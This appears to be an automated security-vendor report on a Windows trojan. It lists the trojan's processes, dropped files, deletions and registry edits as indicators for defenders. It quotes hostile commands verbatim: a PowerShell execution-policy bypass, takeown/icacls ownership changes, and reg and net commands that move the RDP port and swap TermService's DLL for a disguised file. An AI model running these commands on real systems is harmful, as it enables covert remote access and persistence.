Trojan.Win32.CRYPTINJECT.CE

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• "%System%\cmd.exe" /c timeout -t 15& powershell -ep bypass -f %User Temp%\11.ps1
• timeout -t 15
• powershell -ep bypass -f %User Temp%\11.ps1
• "%System%\takeown.exe" /A /F rfxvmt.dll
• "%System%\icacls.exe" rfxvmt.dll /inheritance:d
• "%System%\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
• "%System%\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
• "%System%\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
• "%System%\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
• "%System%\icacls.exe" rfxvmt.dll /remove BUILTIN\{username}s
• "%System%\icacls.exe" rfxvmt.dll /grant BUILTIN\{username}s:RX
• "%System%\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
• "%System%\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %Windows%\branding\mailserach.png /f
• "%System%\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
• "%System%\net.exe" localgroup {username}s "NT AUTHORITY\NETWORK SERVICE" /add
• "%System%\cmd.exe" /c cmd /c net start rdpdr
• "%System%\cmd.exe" /c cmd /c net start TermService
• "%System%\cmd.exe" /c del %temp%\*.ps1 /f
• "%System%\cmd.exe" /c del %temp%\*.txt /f
• %System%\net1 localgroup {username}s "NT AUTHORITY\NETWORK SERVICE" /add
• %System%\net1 start rdpdr
• %System%\svchost.exe -k NetworkService
• %System%\net1 start TermService

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Other System Modifications

This Trojan deletes the following files:

• {malware file path and name}
• %User Temp%\dd_vcredistUI0FD5.txt
• %User Temp%\dd_vcredistMSI0FD5.txt
• %User Temp%\dd_NDP452-KB2901907-x86-x64-AllOS-ENU_decompression_log.txt
• %User Temp%\dd_SetupUtility.txt
• %User Temp%\dd_vcredistMSI0FC1.txt
• %User Temp%\dd_vcredistUI0FC1.txt
• %User Temp%\dd_wcf_CA_smci_20161212_135109_353.txt
• %User Temp%\dd_wcf_CA_smci_20161212_135110_351.txt
• %User Temp%\Microsoft .NET Framework 4.5.2 Setup_20161212_135033207-MSI_netfx_Full_GDR_x64.msi.txt
• %User Temp%\FXSAPIDebugLogFile.txt

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It deletes the following folders:

• %User Temp%\nsdB692.tmp

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows NT\Terminal Services
fEnableWddmDriver = "0"

It modifies the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\Terminal Server\WinStations\
RDP-Tcp
PortNumber = "7201"

(Note: The default value data of the said registry entry is d3d.)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\TermService\Parameters
ServiceDLL = "%Windows%\branding\mailserach.png"

(Note: The default value data of the said registry entry is {random values}.)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\TermService
Type = "16"

(Note: The default value data of the said registry entry is 20.)

Dropping Routine

This Trojan drops the following files:

• %Windows%\Branding\mailserach.png
• %User Temp%\apachesrvin.log
• %Windows%\Branding\ShellBrd
• %Windows%\Branding\creativecommons.png
• %Windows%\Temp\usrnm.txt
• %Windows%\Branding\zoom.jpg
• %User Temp%\11.ps1
• %User Temp%\evil.ps1
• %Windows%\Branding\Basebrd

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

This report is generated via an automated analysis system.